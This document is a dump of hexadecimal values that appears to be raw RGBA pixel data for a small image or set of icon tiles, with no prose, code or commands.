FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF415E24FF3B6C09FF3C6A0CFF3D6B
0DFF1F5500FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000
FDFF0D0BFEFF0B09FEFF0806FFFF4B4B9AFF256DB4FF0985F9FF0C83F6FF0D85
F8FF0381F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F
05FF66A20DFF65A10BFF65A308FF687D48FF212121FF080606FF3EA6B5FF61FF
FFFF56E8FFFF56E1F9FF56E3FFFF57E6FFFF57E6FFFF56E3FFFF56E1F9FF57E8
FFFF60FFFFFF3FA5B6FF070606FF4A4A4AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFBF6F3FFC75722FFFFFFFFFFE0A389FFDD9D7CFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF425F26FF41720CFF3E6C0DFF3C6C
0FFF1F5600FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000
FDFF0E0EFEFF0C0CFEFF0909FFFF4C4C9AFF256FB4FF0C89F9FF0D86F6FF0E85
F8FF0581F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F
06FF67A30EFF66A20CFF65A409FF687D48FF262626FF0A0706FF010000FF0100
00FF4ABED2FF58E8FFFF56E2F9FF56E2F9FF56E2F9FF56E2F9FF58E8FFFF49BE
D0FF020000FF000000FF070303FF4C4C4CFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFBF6F3FFC65622FFFDFEFDFFE0A285FFDD9B7AFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF425F25FF46740FFF467411FF4470
11FF1E5500FFFFFFFFFFFFFFFCFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000
FDFF0E0EFEFF0C0CFEFF0909FFFF4C4C9AFF2570B6FF0E8BFAFF118CF8FF118B
F8FF0480F7FFBADBFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0D79BFF629F
06FF67A30EFF66A20CFF65A309FF687D48FF222121FF020000FF192A2CFF4FC2
D4FF5AF0FFFF54E1F9FF55E2F9FF56E4FFFF57E4FFFF56E2F9FF56E2F9FF5AF1
FFFF48C0D2FF152525FF000000FF4A4A4AFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFF4E3DCFFEECDBDFFC75824FFDB9673FFEBC8B5FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF445F25FF497810FF487612FF4B77
14FF2D6300FFFFFFFFFFFFFFFBFFFFFEFAFFFFFEFAFFFFFFFAFFE5E5F8FF0000
FDFF0D0DFEFF0B0BFEFF0A0AFFFF4B4B9AFF2571B6FF0F8EFAFF128DF8FF148F
F8FF0A8AF7FFBCDDFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFD79BFF619F
05FF66A20DFF65A10BFF66A409FF687D48FF2A3435FF53C9DAFF6CFFFFFF63EC
FFFF61E4F9FF5EE5FFFF5AE8FFFF4ED2ADFF4DD1ABFF56E7FFFF55E4FFFF53E1
F9FF55EAFFFF5CFFFFFF46C3D7FF4E5556FFBEC4C9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFF7EAE2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA4A5FF456026FF4C7B11FF4B7913FF4D7A
16FF316400FFFFFFFFFFFFFFFDFFFFFEF9FFFFFEF9FFFFFFF9FFE7E5F9FF0000
FDFF1515FEFF1313FEFF1111FFFF4C4C9AFF2672B6FF1090FAFF1391F8FF1692
F7FF0D8CF8FFBDDFFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4DA9EFF6BA5
0CFF71AA14FF72AA12FF74AE0FFF697E49FF58B6C5FF65F3FFFF62E5FAFF62E7
FFFF66ECFFFF60DAC2FF53C035FF53BB1FFF50BA1DFF4FBE32FF5CD9C2FF62EB
FFFF60E6FFFF62E5F9FF6AF9FFFF6599A1FF944520FFC94C00FFC64A02FFC64B
04FFC74D05FFC74C07FFC74C07FFC8500BFFC74D07FFC74C07FFC74C07FFC74D
05FFC64B04FFC64A02FFCB4B00FF885B47FF456125FF508111FF4E7B13FF4F7C
15FF336800FFFFFFFFFFFFFFFDFFFFFEFBFFFFFEFBFFFFFFFBFFE8E7F9FF0000
FDFF1515FEFF1313FEFF1010FFFF4B4B9AFF2572B6FF1092FAFF1393F7FF1594
F7FF0B8FF7FFBEDFFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC6DC9FFF72AB
0DFF77AE15FF76AD13FF76AF0FFF697E48FF52A6B4FF67EEFFFF67ECFFFF62DB
C3FF55C036FF52BD21FF54C135FF55C23AFF55C23AFF55C135FF53BD21FF56C0
36FF61DCC3FF66ECFFFF6AF3FFFF639199FF974C20FFCF5A0EFFCA5811FFCC59
13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC5A13FFCC59
13FFCC5912FFCA5810FFD25B0DFF895C47FF436021FF4E810AFF4D7B0CFF4E7C
0EFF336800FFFFFFFFFFFFFFFEFFFFFFFCFFFFFFFCFFFFFFFCFFE7E7FAFF0000
FEFF0E0EFFFF0C0CFFFF0909FFFF494998FF2372B6FF0C94FCFF0F93F9FF1194
F9FF078FF9FFBCE0FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7DC9DFF72AB
09FF77AF11FF76AD0FFF78B20BFF697D47FF55ABCCFF62E3C7FF52C133FF52BD
1DFF54C132FF54C237FF54C237FF54C237FF54C237FF54C237FF54C237FF54C1
32FF52BD1DFF52C131FF63E8CBFF6392A6FFC3C9CDFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEB0B2FF496629FF6D9739FF669234FF6792
36FF4C7D14FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF4F3FFFF1B1B
FFFF3535FFFF3535FFFF3636FFFF5252ACFF3277B9FF30A0FAFF2F9EF8FF319F
F8FF289AF9FFC4E3FCFFFFFFFEFFFEFEFEFFFEFEFEFFFFFFFFFFCCDFAAFF83B3
29FF86B531FF86B52FFF87B72FFF768B56FF4D983FFF6ED040FF6BCF4FFF6CD0
53FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD055FF6CD0
55FF6CD053FF6BCF4EFF6ED33FFF66925CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C1C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C1FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF3951B4FF2D56FEFF2C55F9FF2D56
F9FF2D56F9FF2D56F9FF2D56F9FF2D56F9FF2D56F9FF2D56F9FF2D56F9FF2D56
F9FF2D56F9FF2D55F9FF2C57FFFF55649AFF38383EFF292B33FF292A35FF2A2B
34FF2A2B35FF2A2B35FF2A2B35FF2A2B35FF2A2B35FF2A2B35FF2A2B35FF2A2B
35FF2A2B34FF292A33FF2A2B34FF56565AFF36A940FF2AF53CFF28EF3AFF29EE
3BFF16EB2AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCBFFFFFF4CE3
FFFF57E5FFFF56E6FFFF5AEFFFFF629299FF5D59C2FF6D65FFFF6B64FFFF6B64
FFFF6C64FFFF6C64FFFF6C64FFFF6C64FFFF6C64FFFF6C64FFFF6C64FFFF6C64
FFFF6B64FFFF6B64FFFF6D66FFFF6969A3FF3243B0FF2039E9FF223AE6FF233A
E6FF233CE6FF233CE6FF233CE6FF233CE6FF233CE6FF233CE6FF233CE6FF233C
E6FF233BE6FF203AE6FF1F38ECFF505B9BFF323236FF1E1E24FF202026FF2120
27FF212228FF212228FF212228FF212228FF212228FF212228FF212228FF2122
28FF212127FF1F2026FF1D1E24FF515154FF309E38FF1FD12BFF21CE2DFF21CF
2EFF0FCA1BFFFAFDFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2E8FBFF45BB
F6FF4FC0F6FF4FC0F5FF4FC4FCFF618A9BFF544DBBFF5647F7FF5749F4FF584A
F4FF584AF4FF584AF4FF584AF4FF5647F5FF5749F4FF584AF4FF584AF4FF584A
F4FF574AF4FF5647F4FF5648FAFF645FA2FF252FA9FF0C19E2FF0E1BDFFF0F1E
DFFF111DDFFF101DDFFF111DDFFF101DDFFF111DDFFF101DDFFF111DDFFF101D
DFFF0F1CDFFF0E1BDFFF0B19E5FF4B5096FF28282AFF0F1113FF121215FF1315
18FF141417FF141417FF141418FF141418FF141418FF141418FF141417FF1414
17FF131316FF111215FF0F0F12FF4C4D4DFF2C912FFF18C01FFF19BD21FF1CBD
21FF08B70DFFFBFCFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0E1FBFF3EA7
F5FF4AABF6FF47AAF6FF48AEFCFF5E8099FF493DB3FF4632F2FF4733EFFF4835
EEFF4935EEFF4935EEFF4832F0FF5853DCFF4837E7FF4934EFFF4935EEFF4835
EEFF4834EEFF4833EFFF4532F5FF5E599DFF5859ADFF6567ECFF6668E8FF6567
E8FF6366E8FF686BE8FF6365E8FF7678EBFF6769E9FF6769E8FF6264E8FF6767
E8FF6567E8FF676AE8FF6263EFFF696A98FF333333FF222223FF242424FF2525
26FF29282CFF282629FF282629FF272628FF262627FF272629FF272628FF2626
27FF252525FF242425FF232322FF535353FF288729FF10B013FF13B014FF14AF
17FF00A903FFFAFDFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBEDBF9FF3993
F2FF4399F3FF4298F3FF429CFBFF5C7999FF4030AFFF3A20EDFF3B23E9FF3C23
EAFF3D24EAFF3C24EAFF2F12EDFF998DD8FF5363CAFF3B20ECFF3D24EAFF3B24
EAFF3C23EAFF3921E9FF391FF0FF595298FFC3C3BBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF6666E8FFE0DFFAFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFFC6C6C6FFFFFFFFFFFFFFFFFFFFFF
FFFFE3F9D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A5A5FF268426FF0FAC0FFF10A911FF11AB
12FF00A200FFFAFDFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDD9FBFF378C
F4FF4193F5FF4092F5FF4094FBFF5B7599FF3F2CACFF3517ECFF341AE8FF351B
E8FF361CEAFF3214ECFF819CC3FF7261D4FF2505EEFF2D0FEBFF361BEBFF371C
EAFF361BE8FF3519E8FF3317EFFF584E96FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFDFDFEFF6A6AE9FF9191EFFF9C9CEFFFBCBCF4FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFC5DFB0FF82BC51FF7CBA4BFF96C66EFFFFFFFFFF6FB23BFF63AC28FFECF3
E4FFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF268528FF11AF12FF11AB12FF12AB
13FF00A300FFFAFDFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDD9FBFF378C
F4FF4294F5FF4193F5FF4095FBFF5B7699FF3F2CACFF3A1DECFF371CE8FF371D
E8FF391FEAFF3113EBFF9C8FDDFFC8CDE1FFACA5E4FFBAD4CDFF4531DAFF351B
EBFF371DE8FF361BE9FF3418EFFF584E96FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFF9F9FEFF7777EBFF9494EEFFCACAF6FFA9A9F1FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFEBF3E4FFEBF4E4FFE9F2E0FFFFFFFFFFF0F6E9FF8FC264FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF288628FF13B114FF16B017FF16AF
18FF00A300FFFAFDFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDD9FBFF378C
F4FF4294F5FF4193F5FF4095FBFF5B7699FF3F2FACFF3D20EEFF3E23EAFF3D21
EAFF381BEAFF292EDDFF1C00ECFFA8BCD9FF9CA7D8FF6753D0FF8876E4FF2F13
ECFF371DE8FF361BE9FF3418EFFF584E96FFBFBEC2FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFAF5FFFFB3AEFDFFEEE8FFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA29EA2FFC3C4BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A39EFF288628FF15B316FF19B21AFF1AB2
1CFF07AB08FFFBFDFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBDD9FBFF368C
F3FF4092F4FF3F91F5FF4095FBFF5B7699FF402FACFF4022EFFF4226EBFF4226
ECFF4337DBFFA39BC2FFABA4D6FFC5D5D7FF452BE4FF2616E4FF9FA6BCFF4232
D8FF3419EAFF3419E8FF3418EFFF584E96FF6F9463FF92CB7DFF90C77CFF91C8
7DFF8FC77AFF92C881FF92C97AFF9BD184FF91CA79FF90C77BFF8DC678FF8EC7
7BFF8EC77BFF91C880FF90CC7BFF738A6EFF584EA5FF6756E1FF6856DFFF6958
DEFF6A5ADEFF6A59DEFF6A5ADFFF6A59DEFF6A59DEFF695ADFFF6958DEFF6858
DEFF6959DEFF6856DFFF6956E4FF666091FF288728FF16B518FF1AB21BFF1CB4
1EFF09AC0AFFFBFCFAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC1DCFBFF4396
F5FF4E9CF6FF509CF6FF52A2FCFF5C7799FF4030ACFF4426EFFF4528EAFF4528
EBFF5037E0FF3D1FF0FF4C31E5FF6D66D3FF4022EDFF432CE8FF3A24E2FF4024
E7FF4327EBFF4326E9FF4526F2FF584F96FF4A8237FF52AD35FF51AB35FF52AC
36FF54AC38FF54AC37FF54AC38FF53AC37FF54AC38FF54AC38FF54AC38FF54AC
38FF53AC36FF51AB34FF53AF35FF5C7C53FF3A2C9EFF3A21D9FF3A23D4FF3B25
D5FF3D26D5FF3C26D5FF3C26D5FF3C26D5FF3C26D5FF3D26D5FF3D26D5FF3D26
D5FF3B25D5FF3923D4FF3A20DBFF544D8EFF288628FF17B71AFF1BB51CFF1DB6
1EFF09AF0BFFFBFCFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4DCFBFF499A
F5FF54A0F5FF529FF6FF53A3FCFF5C7799FF4130ADFF4627F0FF4729ECFF482B
ECFF482AECFF492CECFF472AECFF4526EDFF492CECFF492CECFF492CECFF492C
ECFF482BECFF4729ECFF4626F3FF584F96FF4C853AFF5AB13CFF58AF3CFF59B0
3DFF59B03DFF59B03DFF59B03DFF59B03DFF59B03DFF59B03DFF59B03DFF59B0
3DFF59B03DFF58AF3CFF5CB33BFF5D7D55FF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF258726FF14B814FF16B618FF18B6
1AFF04AF06FFFBFEFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC4DEFCFF499B
F7FF53A1F7FF52A1F6FF54A5FEFF5B7598FF412FADFF4624F0FF4627ECFF4827
ECFF4828ECFF4828ECFF4828ECFF4828ECFF4828ECFF4828ECFF4828ECFF4828
ECFF4727ECFF4625ECFF4624F3FF574E96FF548A44FF70BD57FF6DB955FF6DB9
56FF6DB956FF6DB956FF6DB956FF6DB956FF6DB956FF6DB956FF6DB956FF6DB9
56FF6DB956FF6EB955FF6EBD56FF6A8B61FF453AA4FF5B47DFFF5843DCFF5845
DCFF5944DCFF5946DCFF5945DCFF5945DCFF5945DCFF5945DCFF5946DCFF5844
DCFF5845DCFF5744DCFF5945E0FF615B9CFF328E32FF38C239FF36BE37FF37BE
38FF25B826FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFCCE4FEFF5CA5
F9FF66ABF9FF65ABF9FF67AEFFFF6885A8FF493AB1FF6147F4FF5D43F0FF5E45
F0FF5E44F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E46F0FF5E44
F0FF5E45F0FF5D44F0FF6045F5FF645BA4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDCDCDCFFC2C1C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2C2FFC2C2
C2FFC2C2C2FFC2C1C2FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
BFFFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0BFFFC0C0C0FFBFBFBFFFFFFFFFFF669A29FF7DD010FF7CCE11FF7BCD
12FF7BCD12FF7BCD12FF7BCD12FF7BCD12FF7BCD12FF7BCD12FF7BCD12FF7BCD
12FF7BCD11FF7CCE10FF80D210FF708D4CFF8D7C29FFBE9F10FFBB9D11FFB798
08FFEEDC8DFF77A5F2FFB2D1FFFFD0B53DFFB99C0DFFBA9E12FFBA9E12FFBB9E
12FFBB9D11FFBB9D10FFC0A110FF847C4CFF37A345FF2CEA47FF2AE345FF2AE3
45FF2AE244FF2BE444FF2BE444FF2BE444FF2BE444FF2BE444FF2BE444FF2AE2
44FF2AE345FF29E444FF2BED47FF55925DFFBBBFB8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9FA19BFF5F8F28FF68B310FF69B210FF69B2
11FF6AB213FF6AB313FF6AB313FF6AB313FF6AB313FF6AB313FF6AB313FF6AB2
13FF69B212FF68B111FF69B510FF6B894AFF896928FFAD7710FFAB7710FFA671
06FFE0C588FF6482E9FFA2B6FDFFC1963AFFAA750DFFAC7813FFAC7813FFAB78
13FFAB7812FFAB7711FFAE7810FF83724AFF33923FFF21BF34FF23BD36FF24BE
37FF25BE38FF25BE38FF25BE38FF25BE38FF25BE38FF25BE38FF25BE38FF25BE
38FF24BE37FF23BD36FF21C035FF538A5AFFBDC0BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A3A0FF568325FF5BA30CFF5AA10EFF5BA2
0FFF5CA20EFF5CA20EFF5CA20EFF5CA20EFF5CA20EFF5CA20EFF5CA20EFF5CA2
0EFF5BA20FFF5AA10EFF5AA50AFF66804BFF835926FFA55D0EFFA35D10FFA056
05FFDEB986FF5768E8FF9BA9FCFFBC8239FFA25C0BFFA45D10FFA45E10FFA55E
10FFA55E11FFA35D10FFA75D0DFF80694BFF2B8335FF17A826FF19A628FF1AA6
29FF1BA62AFF1BA62AFF1BA62AFF1BA62AFF1BA62AFF1BA62AFF1BA62AFF1BA6
2AFF1AA629FF19A628FF16A926FF4E7E53FFBBBCB9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A19EFF4D7823FF4E9708FF4F950BFF5095
0DFF50970DFF50960DFF51960DFF51960DFF51960DFF51960DFF50960DFF5097
0DFF50950CFF4F960BFF4F9809FF627949FF7A451FFF9B4001FF994104FF963A
00FFDAAD81FF4D55E9FF959DFAFFB56A31FF984001FF9A4306FF9A4206FF9A42
06FF9A4205FF994104FF9D3F00FF7A5C47FF2F7835FF1D9927FF1E9729FF1F99
2AFF21982BFF21992BFF25A133FF26A134FF25A133FF21992BFF20982BFF2198
2BFF1F992AFF1E9729FF1C9B27FF507953FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFFC4BFC7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA3A1A5FF9C775CFFD09567FFCE9467FFCC8F
60FFFBDEB6FF494CE5FF969AF5FFE2B385FFCD9366FFCF9669FFCF9669FFCF95
69FFCF9568FFCE9467FFD39768FF8D7769FFC6BFC6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFD6A6B0FFD8AAB4FFD4A2ADFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA29FA2FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
